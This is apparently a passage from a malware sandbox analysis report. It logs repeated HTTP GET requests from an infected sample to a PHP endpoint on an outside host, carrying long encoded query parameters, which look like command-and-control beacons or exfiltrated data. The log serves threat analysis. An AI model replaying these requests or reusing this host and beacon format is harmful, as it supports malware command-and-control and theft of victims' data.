EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkj